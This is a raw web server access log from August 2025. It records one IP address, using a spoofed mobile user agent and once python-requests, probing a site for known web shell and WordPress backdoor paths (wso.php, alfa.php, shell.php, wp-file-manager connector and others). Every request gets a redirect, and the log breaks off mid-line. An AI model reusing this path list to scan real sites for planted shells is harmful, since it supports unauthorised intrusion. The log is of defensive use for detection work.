128.199.106.124 - - [16/Aug/2025:04:01:19 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 282 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:19 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:20 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:21 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 276 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:21 -0400] "GET /index.php?3x=3x HTTP/1.1" 301 246 "-" "python-requests/2.32.4" 128.199.106.124 - - [16/Aug/2025:04:01:21 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:22 -0400] "GET /shell20211028.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:23 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:23 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:24 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:24 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:25 -0400] "GET /radio.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:25 -0400] "GET /shell.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:26 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:26 -0400] "GET /ccx/index.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:27 -0400] "GET /wp-content/themes/ccx/index.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:27 -0400] "GET /wp-content/index.php HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:28 -0400] "GET /wp-info.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:29 -0400] "GET /wp-includes/pomo/newup.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:29 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:30 -0400] "GET /404.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:30 -0400] "GET /406.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:31 -0400] "GET /wp-class.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:31 -0400] "GET /1index.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:32 -0400] "GET /2index.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:34 -0400] "GET /3index.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:37 -0400] "GET /4index.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:38 -0400] "GET /5index.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:38 -0400] "GET /6index.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:39 -0400] "GET /new-index.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:39 -0400] "GET /wikindex.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:40 -0400] "GET /old-index.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:40 -0400] "GET /wp-blog.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:41 -0400] "GET /data.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:41 -0400] "GET /wp-includes/embed-wp.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:42 -0400] "GET /fw.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:42 -0400] "GET /x.php HTTP/1.1" 301 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:43 -0400] "GET /c.php HTTP/1.1" 301 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:44 -0400] "GET /a.php HTTP/1.1" 301 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:44 -0400] "GET /css.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:45 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:45 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:46 -0400] "GET /gank.php.PhP HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:46 -0400] "GET /doc.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:47 -0400] "GET /.Wp-back.phP HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:47 -0400] "GET /wso112233.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:48 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:48 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:49 -0400] "GET /wp-includes/wso.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:49 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:50 -0400] "GET /wp-includes/pomo/treame.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:51 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:51 -0400] "GET /.well-known/acme-challenge/Alfa.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:52 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:52 -0400] "GET /mt/pekok.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:53 -0400] "GET /wp-includes/widgets/class-wp-widget-index.php HTTP/1.1" 301 276 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:53 -0400] "GET /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 301 295 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:54 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:54 -0400] "GET /edit-form.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:55 -0400] "GET /wp-content/uploads/wp-logout.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:56 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:56 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:57 -0400] "GET /wp-content/uploads/ac_assets/IndoSec.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:57 -0400] "GET /wp-content/themes/classic/inc/index.php HTTP/1.1" 301 270 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:58 -0400] "GET /403.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:58 -0400] "GET /wp-content/406.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:01:59 -0400] "GET /wp-admin/406.php HTTP/1.1" 301 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:00 -0400] "GET /wp-content/plugins/core-stab/index.php HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:00 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:01 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:01 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:02 -0400] "GET /xl2023.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:02 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:03 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:03 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:04 -0400] "GET /wsoyanzorng.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:04 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 291 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:05 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 291 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:05 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 291 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:06 -0400] "GET /webadmin/about.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:06 -0400] "GET /wp-content/themes/mero-magazine/ws.php HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:07 -0400] "GET /wp-admin/images.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:08 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:08 -0400] "GET /locales.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:09 -0400] "GET /wp-content/xxx/xxx-xxx/xxxx-xx-xx/pages/xxxxxx.php HTTP/1.1" 301 281 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:09 -0400] "GET /wp-includes/atom.php HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:10 -0400] "GET /about.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:10 -0400] "GET /upload.php?mr=exe3 HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:11 -0400] "GET /mini.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:11 -0400] "GET /up.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:12 